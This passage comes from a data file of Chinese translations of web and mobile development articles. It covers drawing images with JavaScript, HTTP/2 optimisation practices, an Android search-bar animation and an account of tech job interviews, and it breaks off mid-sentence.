by aleen42 (<a href=\"http://codepen.io/aleen42\">@aleen42</a>) on <a href=\"http://codepen.io\">CodePen</a>.</p>\n<script async src=\"https://production-assets.codepen.io/assets/embed/ei.js\"></script>\n</p>\n\n哇，看起来更完美了。\n\n#### 扫描\n\n这幅图只有两种像素：0 和 255，可以通过扫描每个像素生成点路径。算法描述如下：\n\n- 循环获取像素值, 检测是否被标记为255值.\n- 匹配之后，找出生成最长路径的方向。（当一条路径是由自身组成的，每个像素都会被标记，当一条路径的点有超过一个值，就是一条真实路径，**6** ~ **10**。）\n\n扫描之后，提取 SVG 的路径数据，当然你还可以绘制路径。\n\n### 小结\n\n本文详细地讨论了如何用 JavaScript 绘图，不管是 SVG 文件还是其他类型图片，比如 PNG、JPG 和 GIF。核心思想是转换特定格式到路径数据。一旦抽离出这样的数据，我们还可以模进行模拟绘图。\n\n- 直接绘制 SVG 文件中的 `path` 元素。\n- 如果是其他元素，例如 `rect`，需要先转换成 `path`。\n- 使用 Canny 轮廓检测算法检测位图中的轮廓，这样才可以绘制.\n\n### 参考文档\n\n- [1] [\"光线绘图动画\"](./../../Programming/JavaScript/webgl/canvas/line_drawing/line_drawing.md), 2016\n- [2] [\"位图轮廓查找\"](./../../Programming/JavaScript/webgl/canvas/finding_contours/finding_contours.md), 2016\n- [3] [\"绘制一个 SVG 文件\"](./../../Programming/JavaScript/webgl/canvas/drawing_an_svg/drawing_an_svg.md), 2016\n- [4] [\"SVG 文件绘制的校准参数\"](./../../Programming/JavaScript/webgl/SVG/calibration_parameters/calibration_parameters.md), 2016\n- [5] [\"转换所有形状/原始形状到 SVG 的路径元素\"](./../../Programming/JavaScript/webgl/SVG/convert_shapes_to_path/convert_shapes_to_path.md), 2016\n- [6] [\"轮廓\"](https://github.com/JMPerez/contour), 2015\n- [7] [\"Canny 边缘检测器\"](https://en.wikipedia.org/wiki/Canny_edge_detector), Wikipedia, 2016\n"
  },
  {
    "path": "TODO/http2-for-web-developers.md",
    "content": "> * 原文链接 : [HTTP/2 For Web Developers](https://blog.cloudflare.com/http-2-for-web-developers/)\n* 原文作者 : [Ryan Hodson](https://blog.cloudflare.com/author/ryan-hodson/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zhongyi Tong](https://github.com/geeeeeeeeek)\n* 校对者：[Evaxtt](https://github.com/Evaxtt), [Adam Shen](https://github.com/shenxn)\n\n# Web 开发者的 HTTP/2 性能优化指南\n\nHTTP/2改变了Web开发者优化网站的方式。在HTTP/1.1中，为了压缩5%的页面加载速度，人们会通过雪碧图、内联代码、细分域名、合并代码等方式，来想方设法地优化TCP连接和HTTP请求。\n\nHTTP/2带来了些许便利。一般网站无需复杂的构建和部署流程即可获得[30%的性能提升](http://blog.chromium.org/2013/11/making-web-faster-with-spdy-and-http2.html)。在这篇文章中，我们会讨论HTTP/2下网站优化的最佳实践。\n\n## HTTP/1.1中的Web优化\n\nHTTP/1.1中大多数的网站性能优化技术都是减少向服务器发起的HTTP请求数。浏览器可以同时建立有限个TCP连接，而通过这些连接下载资源是一个线性的流程：一个资源的请求响应返回后，下一个请求才能发送。这被称为线头阻塞。\n\n因此，Web开发者开始将尽可能多的资源塞进一个连接中，并寻找其他办法来避免浏览器出现线头阻塞。在HTTP/2中，这样的实践事实上会增加页面的加载时间。\n\n## HTTP/2下的Web优化新观念\n\nHTTP/2的优化需要不同的思维方式。Web开发者应该专注于网站的缓存调优，而不是担心如何减少HTTP请求数。通用的法则是，**传输轻量、细粒度的资源**，以便独立缓存和并行传输。\n\n![HTTP/2 Multiplexing](https://blog.cloudflare.com/content/images/2015/12/http-2-multiplexing.png)\n\n这种转变的出现是因为HTTP/2的**多路复用**和**头部压缩**特性。多路复用使得不同的请求共用一个TCP连接，允许多个资源并行下载，避免建立多个连接带来不必要的额外开销。它消除了HTTP/1.1中的线头阻塞问题。头部压缩进一步减少了多个HTTP请求的开销，因为每个请求开销都小于未压缩的等价HTTP/1.1请求。\n\nHTTP/2还有两个改变会影响到你的Web优化：**流优先级**和**服务端推送**。前者允许浏览器指定接受资源的顺序，后者允许服务端主动发送额外的资源。为了尽可能利用这些特性，Web开发者需要抛弃一些HTTP/1.1中形成直觉的最佳实践。\n\n## HTTP/2 Web优化最佳实践\n\n### 停止合并文件\n\n在HTTP/1.1中，Web开发者往往将整个网站的所有CSS都合并到一个文件。类似的，JavaScript也被压缩到了一个文件，图片被合并到了一张雪碧图上。合并CSS、JavaScript和图片极大地减少了HTTP的请求数，在HTTP/1.1中能获得显著的性能提升。\n\n![HTTP/1.1 file concatenation](https://blog.cloudflare.com/content/images/2015/12/http-1-1-file-concatenation.png)\n\n但是，在HTTP/2中合并文件不再是一项最佳实践。虽然合并依然可以提高压缩率，但它带来了代价高昂的缓存失效。即使有一行CSS改变了，浏览器也会强制重新加载你 *所有的* CSS声明。\n\n另外，你的网站不是所有页面都使用了合并后的CSS或JavaScript文件中的全部声明或函数。被缓存之后倒没什么关系，但这意味着在用户第一次访问时这些不必要的字节被传输、处理、执行了。HTTP/1.1中请求的开销使得这种权衡是值得的，而在HTTP/2中这实际上减慢了页面的首次绘制。\n\n![HTTP/2 file concatenation](https://blog.cloudflare.com/content/images/2015/12/http-2-file-concatenation.png)\n\nWeb开发者应该更加专注于缓存策略优化，而不是压缩文件。将经常改动和不怎么改动的文件分离开来，就可以尽可能利用CDN或者用户浏览器缓存中已有的内容。\n\n### 停止内联资源\n\n内联资源是文件合并的一个特例。它指的是将CSS样式表、外部的JavaScript文件和图片直接嵌入HTML页面中。例如，如果你的网页如下所示：\n\n``` \n<html>\n  <head>\n    <link rel=\"stylesheet\" href=\"/style.css\">\n  </head>\n  <body>\n    <img src=\"logo.png\">\n    <script src=\"scripts.min.js\"></script>\n  </body>\n</html>\n\n```\n\n你可以通过内联工具获得下面的代码：\n\n``` \n<html>\n  <head>\n    <style>\n\n      body {\n        font-size: 18px;\n\n        color: #999;\n      }\n    </style>\n  </head>\n  <body>\n    <img src=\"data:image/png;base64,Rw0KGgoAAAANSUhEUgAAAEAABA...\">\n    <script>console.log('Hello, World!');</script>\n  </body>\n</html>\n\n```\n\n在极端情况下，这确实能够减少给定网页的HTTP请求数。但是，和文件合并一样，HTTP/2优化时你不应该内联文件。\n\n内联意味着浏览器不能缓存单个的资源。如果你将所有页面使用的CSS声明嵌入了每一个HTML文件，这些文件每次都要从服务端获取。这导致用户在访问任何页面时都要传输额外的字节。\n\n内联同样会破坏流优先级。如果你的CSS、JavaScript和图片嵌入在HTML中，你实际上将它们的优先级提升到了HTML内容相同的级别。这意味着浏览器无法按照偏好的顺序请求资源，潜在地增加了首次渲染时间。\n\n与其内联资源，Web开发者应该用好HTTP/2的服务端推送功能。服务端推送使得你的Web服务器可以告诉客户端：“稍等，你刚请求的HTML页面过会渲染时会用到这些图像和CSS文件”。理论上这和内联资源效果相同，但它不会破坏流优先级，并允许你充分利用CDN和用户的本地浏览器缓存。\n\n### 停止细分域名\n\n细分域名是让浏览器建立更多TCP连接的通常手段。浏览器限制了单个服务器的连接数量，但是通过将网站上的资源切分到几个域上，你可以获得额外的TCP连接。它避免了线头阻塞，但也带来了显著的代价。\n\n![Splitting website resources across multiple domains](https://blog.cloudflare.com/content/images/2015/12/domain-sharding-1.png)\n\n细分域名在HTTP/2中应该避免。每个细分的域名都会带来额外的DNS查询、TCP连接和TLS握手（假设服务器使用不同的TLS证书）。在HTTP/1.1中，这个开销通过资源的并行下载得到了补偿。但在HTTP/2中就不是这样了：多路复用使得多个资源可以在一个连接中并行下载。同时，类似于资源内联，域名细分破坏了HTTP/2的流优先级，因为浏览器不能跨域比较优先级。\n\n如果你目前使用了域名细分但希望利用HTTP/2，你不必重构你的整个代码库。在我们博客上的一篇文章[域名细分和SPDY混用](https://blog.cloudflare.com/using-cloudflare-to-mix-domain-sharding-and-spdy/)中提到，浏览器能够识别使用同一个TLS证书的多个服务器。一旦你这样做了，浏览器会重用多个服务器之间的SPDY或HTTP/2请求。这仍然会导致多个DNS查询，但如果你同时想在HTTP/1.1和HTTP/2下获得最佳性能，这算是一个优雅的妥协之举。\n\n## 一些最佳实践依然有效\n\n幸运的是，HTTP/2没有改变所有的Web优化方式。一些HTTP/1.1中的最佳实践在HTTP/2中依然有效。剩下的文章讨论了这些技巧，无论你在HTTP/1.1还是HTTP/2优化都能用上。\n\n### 减少DNS查询时间\n\n在浏览器可以请求网站资源之前，它需要通过域名系统(DNS)获得你的服务端IP地址。直到DNS响应前，用户看到的都是白屏。HTTP/2优化了Web浏览器和服务器之间的通信方式，但它不会影响域名系统的性能。\n\n因为DNS查询的开销可能会很昂贵，尤其是当你从根名字服务器开始查询时，最小化网站使用的DNS查询数仍然是一个明智之举。使用HTML头部的`<link rel='dns-prefetch' href='...' />`可以帮助你提前获取DNS记录，但这不是万能的解决方案。\n\n### 使用CDN\n\n光在地球表面绕行一圈需要大约130毫秒。这个延迟你 *无法* 避免——物理使然。光缆和无线连接的不完善之处，以及全球因特网的拓扑结构，使得你电脑上的一个网络包至少要300-400毫秒才能传输到半个世界外的服务器。用户可以觉察到100毫秒的延迟，唯一克服物理规律的办法就是将你的Web资源通过CDN放在地理上更靠近来访者的服务器节点上。\n\n### 利用浏览器缓存\n\n你可以进一步利用内容分发网络，将资源存储在用户的本地浏览器缓存中，除了产生一个304 Not Modified响应之外，这避免了任何形式的数据在网络上传输。\n\n### 最小化HTTP请求大小\n\n尽管HTTP/2的请求使用了多路复用技术，在线缆上传输数据仍然需要时间。同时，减少需要传输的数据规模同样会带来好处。在请求端，这意味着尽可能多地最小化cookie、URL和查询字符串的大小。\n\n### 最小化HTTP响应大小\n\n当然了，另一端也是这样。作为Web开发者，你会希望服务端的响应尽可能的小。你可以最小化HTML、CSS和JavaScript文件，优化图像，并通过gzip压缩资源。\n\n### 减少不必要的重定向\n\nHTTP 301和302重定向在迁移到新平台或者重新设计网站时难以避免，但如有可能应该被去除。重定向会导致一圈额外的浏览器到服务端往返，这会增加不必要的延迟。 你应该特别留意重定向链，上面需要多个重定向才能到达目的地址。\n\n像301和302这样的服务端重定向虽不理想，但也不是世界上最糟的事情。它们可以在本地被缓存，所以浏览器可以识别重定向URL，并且避免不必要的往返。元标签中的刷新(如`<meta http-equiv=\"refresh\"...`)在另一方面开销更大，因为它们无法被缓存，而且在特定浏览器中存在性能问题。\n\n## 结论和警示\n\n以上寥寥数语介绍了HTTP/2的Web优化。防止文件合并、资源内联和域名细分不仅能够加速网站，还使得构建和部署流程更加简单。\n\n不过，还有一些需要警醒的地方。大多数的服务器、内容分发网络(包括CloudFlare)和现有的应用还不支持服务端推动。服务器和CDN会迅速跟进，但为了让你的应用享受到服务端推送的好处，你还需要对代码库进行一些修改。\n\n同时记住，HTTP/2的性能提升取决于你服务的内容。比如，依赖于外部资源的网站相比于那些HTTP请求更少的网站，会从HTTP/2的多路复用获得更大的性能提升。\n"
  },
  {
    "path": "TODO/https-medium-com-alexstyl-animating-the-toolbar.md",
    "content": "> * 原文地址：[Exposing the Searchbar Implementing a Dialer-like Search transition](https://medium.com/@alexstyl/https-medium-com-alexstyl-animating-the-toolbar-7a8f1aab39dd#.waucttqbf)\n* 原文作者：[Alex Styl](https://medium.com/@alexstyl)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Siegen](https://github.com/siegeout)\n* 校对者：[XHShirley](https://github.com/XHShirley),[jamweak](https://github.com/jamweak)\n\n关于我的应用，我收到了一些用户的反馈，他们反馈最多的是缺少**搜索**功能。对于像 Memento Calendar 这种囊括了诸如社交时间，纪念日，银行休假日，信息来源错综复杂的应用，我很赞同搜索是这个应用最重要的功能之一。问题是这个功能已经被实现了。Toolbar 里的一个搜索图标引导用户到一个搜索界面。\n\n\n![A user can search by tapping the search icon on the Toolbar](https://raw.githubusercontent.com/alexstyl/alexstyl.github.io/master/images/animating-the-toolbar/search_toolbar.png)\n\n\n我决定调研一些用户来看看问题究竟是什么。在和这些幸运的用户通过邮件往来交流了一番后，我总结出下面的内容：\n\n> 人们似乎更加习惯于其他流行应用中的搜索栏，例如 Facebook，Swarm 以及其他的应用。在上述的应用中，搜索栏可以直接通过 Toolbar 访问到，这意味着用户可以从主界面开始搜索。\n\n\n\n因为搜索的逻辑已经在应用里实现了，我有充裕的时间来尝试使用 Android 的动画 API 为我的应用增添生气。\n\n\n### 试验的进程\n\n\n\n这个点子是利用 transition 来衔接已经包含搜索栏的主界面，以及拥有神奇搜索功能的搜索界面。\n\n\n\n\n从一个视图设计的角度，我想要这个 transition 尽可能的相似以便于用户可以聚焦于搜索，感觉不到他们正在看一个新的界面。从一个视图开发的角度，两个界面（Activities）不得不保持分离。每一个 Activity 处理它们自己的事务，从维护的角度来说把它们联合在一起完全是一个噩梦。\n\n\n因为这是我第一次使用 Transition，我不得不做一些阅读。我觉得 Nick Butcher 和 Nick Weiss 的\n[**有意义运动**的谈话](https://skillsmatter.com/skillscasts/6798-meaningful-motion)视频对我理解新的 API 是怎样工作的很有帮助，并且这个视频里的幻灯片曾经是（现在仍然是）我处理 Transition 相关内容的核心备忘单。\n\n\n\n\n一个类似于我想要实现的特效可以在[ Android 手机应用市场](https://play.google.com/store/apps/details?id=com.google.android.dialer)里被找到。一旦用户点击了搜索栏，当前的界面就会逐渐消失，搜索栏变大，用户可以开始搜索了。\n\n![The transition as seen in the Dialer app](https://raw.githubusercontent.com/alexstyl/alexstyl.github.io/master/images/animating-the-toolbar/dialer.gif)\n\n\n不幸的是这个应用的实现跟我预期的完全不一样。[所有的事情都是在一个单独的 activity 里完成的](http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android-apps/5.1.0_r1/com/android/dialer/DialtactsActivity.java)。即使这确实行得通，但我不喜欢把几个功能结合在一起，我希望在未来可以更加灵活的更新应用的设计。虽然这个实现不完全是我想要的，但是关于下一步我该怎么走，我从中获得了一个好主意。\n\n\n\n我把期望的 transition 分解成三个简单步骤：\n\n1) 让 toolbar 的内容渐隐\n\n2) 把 toolbar 框变大\n\n3) 让内容逐渐显示回来。\n\n\n\n这些步骤可以很容易的通过 `TransitionManager` 类来实现。通过简单调用 [`TransitionManager.beginDelayedTransition()`](http://alexstyl.com/exposing-the-searchbar/) ，然后修改这个视图的属性。这个框架会自动的把这些改变应用到视图里。这对搜索栏的扩展和折叠都起作用。渐隐的效果也是用这种方式实现的，但是我们所做的却是正在改变多个视图的可视性。现在唯一欠缺的事是如何在一个操作步骤里实现无缝隙地跳转到搜索 activity。\n\n\n幸运的是，我记得在一个 Android 开发者视频里见过类似的东西。在名为 [DevBytes: Custom Activity Animations](https://www.youtube.com/watch?v=CPxkoe2MraA) 的视频里 Cheet Haase 展示了在 activity 开始或是结束的时候如何覆写系统的动画。最后一点,这点也很重要，我们可以对这个Transition 进一步的修饰让它进行的更快，在 Transition 一开始的时候就显示出键盘。实现这个的简单方式是在应用的 Manifest 文件里声明正确的 windowSoftInputMode。通过这种方式，当第二个 activity 开始的时候键盘就变得可见了。\n\n### 最终的结果\n\n\n\n综上所述，下面的结果被实现了。\n\n![The transition as seen in Memento Calendar](https://raw.githubusercontent.com/alexstyl/alexstyl.github.io/master/images/animating-the-toolbar/memento.gif)\n\n\n你可能想知道这个设计决定是否真的有效。我对这个设计很满意，因为它为我的应用带来了额外的 30% 搜索量。这可能意味这个设计让用户更易于搜索，也可能用户喜欢这个动画效果![😄](https://linmi.cc/wp-content/themes/bokeh/images/emoji/1f604.png)\n\n* * *\n\n\n还有一些细微的 UX 提升还可以去实现来达到一个更好的效果，例如返回按钮图标的颜色，或者是当用户返回的时候,如果没有在搜索栏里填入搜索内容，就把 activity 结束掉。如果你对学习如何实现此类的效果感兴趣的话， **Memento Calendar 是开源的** 你可以来看看这个应用里这块内容的实现原理。你可以在 [github.com/alexstyl/Memento-Namedays](https://github.com/alexstyl/Memento-Namedays) **获得源码**或者从 [Google Play Store](http://alexstyl.com/exposing-the-searchbar/play.google.com/store/apps/details?id=com.alexstyl.specialdates) **下载这个应用**。\n"
  },
  {
    "path": "TODO/i-interviewed-at-five-top-companies-in-silicon-valley-in-five-days-and-luckily-got-five-job-offers.md",
    "content": "> * 原文地址：[I interviewed at five top companies in Silicon Valley in five days, and luckily got five job offers](https://medium.com/@XiaohanZeng/i-interviewed-at-five-top-companies-in-silicon-valley-in-five-days-and-luckily-got-five-job-offers-25178cf74e0f)\n> * 原文作者：[Xiaohan Zeng](https://medium.com/@XiaohanZeng?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/i-interviewed-at-five-top-companies-in-silicon-valley-in-five-days-and-luckily-got-five-job-offers.md](https://github.com/xitu/gold-miner/blob/master/TODO/i-interviewed-at-five-top-companies-in-silicon-valley-in-five-days-and-luckily-got-five-job-offers.md)\n> * 译者：[Rambo Zhu](https://github.com/freerambo)\n> * 校对者：[hadeswith666](https://github.com/hadeswith666)，[Germxu](https://github.com/Germxu)   \n\n\n# 我的硅谷之路-五天拿下五家顶级互联网公司 offer\n\n![](https://cdn-images-1.medium.com/max/800/1*4IYF3JVZqF9GnuGzNgkSPA.png)\n\n**从 2017 年 7 月 24 号到 28 号的五天，我面试了 LinkedIn ，Salesforce Einstein ，Google ，Airbnb 和 Facebook ，并拿到了全部五家公司的 offer 。**\n\n这是一段神奇的经历，我很幸运因为我的努力得到了回报。于是我决定写点什么来讲述我是如何准备，面试的过程以及分享我对着五家公司的感受。\n\n\n* * *\n\n\n### **如何开始**\n\n我在 Groupon 混了近三年了。 这是我的第一份工作，我一直在和很[牛逼的团队](http://www.builtinchicago.org/2017/07/14/data-science-engineering-Groupon)做着[了不起的项目](https://www.linkedin.com/feed/update/urn:li:activity:6324643825717481472)。\n我们团队一直在做很酷的事情，在公司内部很有影响也发表了一些论文等等。\n尽管我一直渴望学习更多但我觉得我的学习速率开始下降了。作为一名芝加哥的软件工程师，湾区的那么多伟大的公司总是强有力的诱惑着我。\n\n人生短暂，职业生涯更短。在跟我的老婆交谈并得到她的全力支持后我决定采取行动开始了我职业生涯的第一次跳槽。\n\n\n### **充分准备**\n\n\n尽管我一直着迷机器学习的职位，可这些职位在上述五家公司的名称和面试流程有着些微的不同。其中三家的职位是机器学习工程师，Salesforce 是数据工程师，而 Airbnb 职位里则是普通的软件工程师。由此我不得不准备三个不同领域的知识：编码， 机器学习和系统设计。\n\n我还有个全职的工作，这使我总共花费了两三月的时间准备。下面将给出我是如何准备这三个领域的。\n\n#### 编码\n\n\n尽管我也认同编码面试可能不是最好的方式来评估面试者的技能，但无可争辩的是没有比这更好的方法在短时间内来证明面试者是不是一个好的程序员。\n在我看来，想要得到程序员的工作编码测试是不可避免 \n\n我主要使用 LeetCode 和 Geeksforgeeks 来练习。  Hackerrank 和 Lintcode 也是不错的练习工具。\n我花了几周的时间过了下常见的数据结构和算法。然后重点关注了我之前不熟悉的领域，最后做了一些常见问题的练习。因为时间所限通常一天我只做两题。\n\n\n谈谈的一下想法，\n\n1. 多练，这没有什么可说的\n2. 尽可能覆盖不同类型的题，每个类型花时间搞透它。不要试图把 Leetcode 上所有题都刷完。我在 Leetcode 上刷了总共差不多 70 题，我觉得做得足够了。在我看来如果 70 道题还不行那只能说明你方法不对，就算刷 700 道题也没用\n3. 刷最难的那些题，其余的就简单了\n4. 如果一个题卡壳超过两小时，去查看别人的解决方案吧，再多花时间可能不值得的\n5. 做出来后，和别人提交的答案对比一下。我就经常震惊于别人家孩子的那些充满智慧且优雅的解决方案，尤其是一行 Python 代码解决的问题娃儿们\n6. 用你最熟悉的编程语言答题，并通俗易懂的解释给你的面试官\n\n\n#### 系统设计\n\n这个领域更多的和实际工作经验相关。许多问题会在系统设计面试中被问到，包括但不限于系统架构，面向对象设计，数据库设计，分布式系统设计，高扩展系统等。\n\n有很多线上资源可以帮助我们练习。大部分时候我是通过阅读关于系统设计以及分布式系统设计面试的文章和一些设计案例的分析。下面我给出一些有用的资源供参考。\n \n*   [http://blog.gainlo.co](http://blog.gainlo.co)\n*   [http://horicky.blogspot.com](http://horicky.blogspot.com)\n*   [https://www.hiredintech.com/classrooms/system-design/lesson/52](https://www.hiredintech.com/classrooms/system-design/lesson/52)\n*   [http://www.lecloud.net/tagged/scalability](http://www.lecloud.net/tagged/scalability)\n*   [http://tutorials.jenkov.com/software-architecture/index.html](http://tutorials.jenkov.com/software-architecture/index.html)\n*   [http://highscalability.com/](http://highscalability.com/)\n\n\n尽管系统设计面试涵盖很多主题，一些常用的套路可以帮助我们解决这些问题。\n\n1.  首先要弄明白需求，然后在画出高层概要设计，最后列出实现细节。不要没弄清需求而上来就进入细节。\n2.  没有完美的系统设计，要正确考虑实际需求\n\n说了这么多，应对系统设计面试最好的方式还是坐下来实际设计一个系统，例如在你的日常工作中不要总做些表面工作，可以试着深入了解使用的工具，框架和第三方类库。\n再比如你用 HBase ，与其简单的使用客户端执行些 DDL 和查询操作不如试着去搞懂它的整体架构，读写的流程，HBase 如何保证了强一致性，有哪些主要或细小的封装，系统是如何使用的 LRU 缓存和布隆过滤器来提升效率的。\n你甚至可以去比较 HBase 和 Cassandra 在设计上的相同和不同之处。这样当你在被问到设计一个分布式 key-value 存储时，你就可以从容应对了。\n\n许多博客也是好的知识来源如 Hacker Noon 以及一些公司的技术博客，还有很多开源项目的官方文档。\n最重要的是保持谦虚和好奇心，像海绵一样吸收一切有用的知识。\n\n#### 机器学习\n\n机器学习面试通常分为两部分：理论和产品设计。\n\n读一些机器学习相关的书籍是很有帮助的，除非你有机器学习研究的经验或者ML课程学的很好。比较经典的书如 《机器学习之路》，《模式识别》和《机器学习》都是非常不错的选择。如果你对特定领域感兴趣可以选择更多该领域的书籍。\n \n要确保你懂得那些基本概念，例如偏差方差平衡，过度拟合，梯度下降，L1/L2 正则化，贝叶斯理论，集成学习，协同过滤，降维等。\n熟悉常见的公式如贝叶斯方程和流行的推导模型，如逻辑回归和 SVM 。试着去实现以下简单模型如决策树和 K-means 聚类。\n如果你放了一些模型在你的简历上，那务必确保你完全懂得并能给出这些模型的优缺点。 \n\n关于机器学习的产品设计，懂得构建一个机器学习产品的一般过程，这里给出了我的做法。\n\n1.  明确我们的目标：预测，推荐，分类和检索等\n2.  找到适合的算法：监督 vs. 非监督、分类 vs. 回归、一般线性模型、决策树、神经网络等。并要能够给出选择的理由。\n3.  找出可用数据的相关特征\n4.  给出模型的性能指标\n5.  评价在实际项目应用中如何优化上如模型（可选择的）\n\n这里我想再次强调保持好奇心和持续学习。不要仅仅是调用 Spark MLlib 或者 XGBoost 的 API ，\n要试着去弄懂背后的原理。例如为什么随机梯度下降适合于分布式训练，\n为什么 XGBoost 与传统的 GBDT 不同，它的损失函数有何特殊之处，为什么它需要计算二阶导数等等。\n\n### 面试流程\n\n从回复 Linkedin 上 HR 的消息和寻求推荐开始。在尝试一次申请某明星创业公司失败后（后文中我会谈到），\n我开始了几个月的艰苦准备。在招聘人员的帮助下，我安排了在湾区一周的现场面试。\n我周日飞往硅谷，这样我有五天时间和世界上那些最牛的技术公司进行约 30 场面试。\n非常幸运地是，我拿到了他们中的五家公司的录用通知。\n\n\n#### 电话面试\n\n电话面试是这些公司的标配，不同的是面试时长。一些公司如 LInkedin 要一个小时，而 Facebook 和 Airbnb 则是 45 分钟。\n\n\n\n专业性是电面关键。因为你只有的有限的时间而且通常只有一次机会。你必须要很快的识别出问题的类型并给出高水平的解决方案。\n要确保告诉面试官你的想法和意图，在一开始这可能会降低你的速度，但沟通是面试中最重要的也是最有帮助的。不要背诵你的答案这很容易让面试官看穿。 \n\n\n对于机器学习岗位有些公司会问 ML 的问题，如果你被面试这些确保你准备好了这些技能点。\n\n为了更好的利用我的时间，我在同一下午安排了三个电话面试，每个间隔一小时。\n这样的好处是我一直处于手热的状态，不好的地方是如果第一个没发挥好可能会影响接下来的表现。所以我不推荐大家都这么做。\n\n\n\n同时面试多家公司的一个好处会给你带来一定的优势。一次电面以后我就成功的跳过了 Airbnb 和 Salesforce 的第二轮电面因为我已经获得了 LInkedin 和 Facebook 的现场面试\n\n\n更让人惊喜的是 Google 在得知我下周有四个现场面试后竟然让我跳过了他们的电面直接安排我现场面试。我知道这将使我非常劳累，不过没有人能够拒绝 Google 的现场邀请。\n\n#### 现场面试\n\n**LinkedIn**\n\n![](https://cdn-images-1.medium.com/max/800/1*JjnojejxqDmKWdDvF7JccQ.png)\n\n这是我在 Sunnyvale 的第一个现场面试，这里办公室总是窗明几净人们看起来非常专业。\n\n每轮面一个小时，编码问题中规中矩，但 ML 的问题有点难度。尽管如此，我从 HR 哪里收到的准备资料起到了很大的帮助。直到面试结束，并没有让我太吃惊的问题。\n我听说 Linkedin 有着硅谷最好的伙食，如我所察如果不是真的，也差不远了。\n \n被微软并购以后，看来 Linkedin 甩掉了财政负担，他们开始甩开膀子做真正酷的事，让人心动的新特征如视频，专业广告等。作为一个关注专业发展的公司，Linkedin 优先增长它的员工。\n很多团队如广告和订阅相关的都在扩张，所以抓紧行动如果你想加入。\n\n\n**Salesforce Einstein**\n\n![](https://cdn-images-1.medium.com/max/800/1*XNUUSjrUo-n7eU5ZOGeHog.png)\n\n明星团队做的明星项目。这是个相当新的团队，感觉像一个创业公司。产品是构建在 Scala Stack 上的， 所以在那里类型安全是实实在在的。Matthew Tovbin 在 Scala Days Chicago 2017，Leah McGuire 在 Spark Summit West 2017 进行过伟大的演讲。 \n\n我的面试是在 Palo Alto 的办公室。 他们团队有很强的文化凝聚力和非常好的工作生活平衡。每个人都对在做的事情充满激情很真正喜欢。四轮面试下来，整体上比其他公司要短，但我多希望我能待得再长一点。面试完后，Matthew 甚至带我到惠普的车库转了一下。 \n\n\n**Google**\n\n![](https://cdn-images-1.medium.com/max/800/1*VYDw0n3CgPOsrX1j-tchbw.png)\n\n\n绝对的行业老大，无需多言妇孺皆知的 Google 。但它真的非常非常的大。 花费了我 20 分钟的时间骑车去见我的朋友。 排队点餐的人也很多，对程序员而言这永远是一个美好的地方。\n\n\n我在 Mountain View 园区众多楼宇中的一座里进行的面试，我不知道具体是哪一个，因为实在是太大了。\n\n我的面试官们看起来很聪明。当他们开始谈论的时候你会发现他们更加聪明。如果和这帮人一起工作那将是多么的愉悦。\n\nGoogle 的面试我觉得一点特别是对时间复杂度的分析特别重要。确保你真的明白大 O 的涵义。\n\n\n**Airbnb**\n\n![](https://cdn-images-1.medium.com/max/800/1*Y9tdU5fecN2XIUqE3bC3gA.png)\n\n迅速增长的独角兽企业，有着独特的企业文化和号称湾区最美的办公环境。新产品如餐厅预定，高端细分市场，中国市场的扩张等都预示着公司光明的前景。如果希望快速成长和 pre-IPO 的体验，并能忍受风险，这将是一个完美的选择。\n\n\nAirbnb 的代码测验有一点特别，因为你将在 IDE 上而不是白板上写，所以你的代码要能够编译并给出正确答案。有些问题确实非常困难。 \n\n他们还有所谓一种跨职能面试。这是 Airbnb 重视公司文化的方式，仅仅技术上优秀并不能保证被录用。两轮跨职能面试让我飞常愉悦。我和面试官进行了轻松的交谈，会话结束后我们都很愉快。 \n\n\n整体上我觉得 Airbnb 的现场面试是最难的，因为问题很难，时间也很长并且有跨职能的面试。如果你有兴趣，务必了解他们的文化和核心价值。\n\n\n\n**Facebook**\n\n![](https://cdn-images-1.medium.com/max/800/1*wgM997D8y7JHguhRESY8pA.png)\n\n和 Google 相比，Facebook 另一个还在快速增长的巨头，小但快节奏。它的产品线垄断了社交网络，并且重点投资了 AI 和 VR ，显然未来 Facebook 有着巨大的增长潜力。和大牛们如 Yann LeCun 和 Yangqing Jia ，这机器学习人士工作的乐土。\n\n我在 20 号楼进行的面试了，那里有楼顶花园和美丽的海景。扎克伯格的办公室也在那里。\n\n我不确定面试官是不是得到指示，但我没有得到明确的提示关于我的答案是否正确。我还是相信公司指示他们不要评价候选者答案的正确性。\n\n前四天的劳碌给我身体带来了影响，中午我开始头疼，我坚持把下午的面试进行完。我觉得自己一点没发挥好。当收到他们给的录用通知时我确实有点小吃惊。\n\n总体上我觉得这里的人相信他们公司的愿景，也都为他们做的事情而骄傲。作为一个市值五千亿美金并且快速增长的公司，Facebook 是开始你职业生涯的理想公司。\n\n\n### 薪资谈判\n\n这是一个宏大主题，在这我不去谈论。 有兴趣的可以参照[这篇文章](https://medium.freecodecamp.org/how-not-to-bomb-your-offer-negotiation-c46bb9bc7dea)。\n                            \n一些我认为重要的事：                            \n\n1.  表现要专业\n2.  利用你的资源\n3.  对项目和团队真正的兴趣\n4.  保持耐心和自信\n5.  决绝但有礼貌\n6.  不要撒谎\n\n### **我失败的面试经历 - Databricks**\n\n![](https://cdn-images-1.medium.com/max/800/1*8ihczqhKMJ_dTZmRvMTAGg.png)\n\n失败是成功之母，当然也包括面试。\n在开启上述硅谷面试之旅前，五月份时我面试 Databridck 失败了。\n\n四月的时候， Xiangrui 通过 Linkedin 联系我，问我是否对 Spark MLlib 团队的职位有兴趣， 这让我非常心动。因为 1) 我使用 Spark 热爱 Scala, 2) Databridck 的工程师是最一流的，\n3) Spark 彻底改变了整个大数据世界。这是一个不能错过的机会，所以几天后我开始了这次面试。\n\nDatabridck 的门槛相当高处理流程也相当的长，包括一次初审问卷表，一次电话面试，一次代码测试和一次现场面试。\n\n我成功的获得了现场面试的邀请，并访问了他们在三藩市市中心的办公地点，在那我们能看到金银岛。\n\n我的面试官是个极具聪明才智又同等谦逊的人。面试过程中我经常感觉被逼到了极限。面试还算进行的顺利直到一轮灾难性的面试，我完全搞砸了因为技能不过硬和准备不充分，最终惨败。\nXiangrui 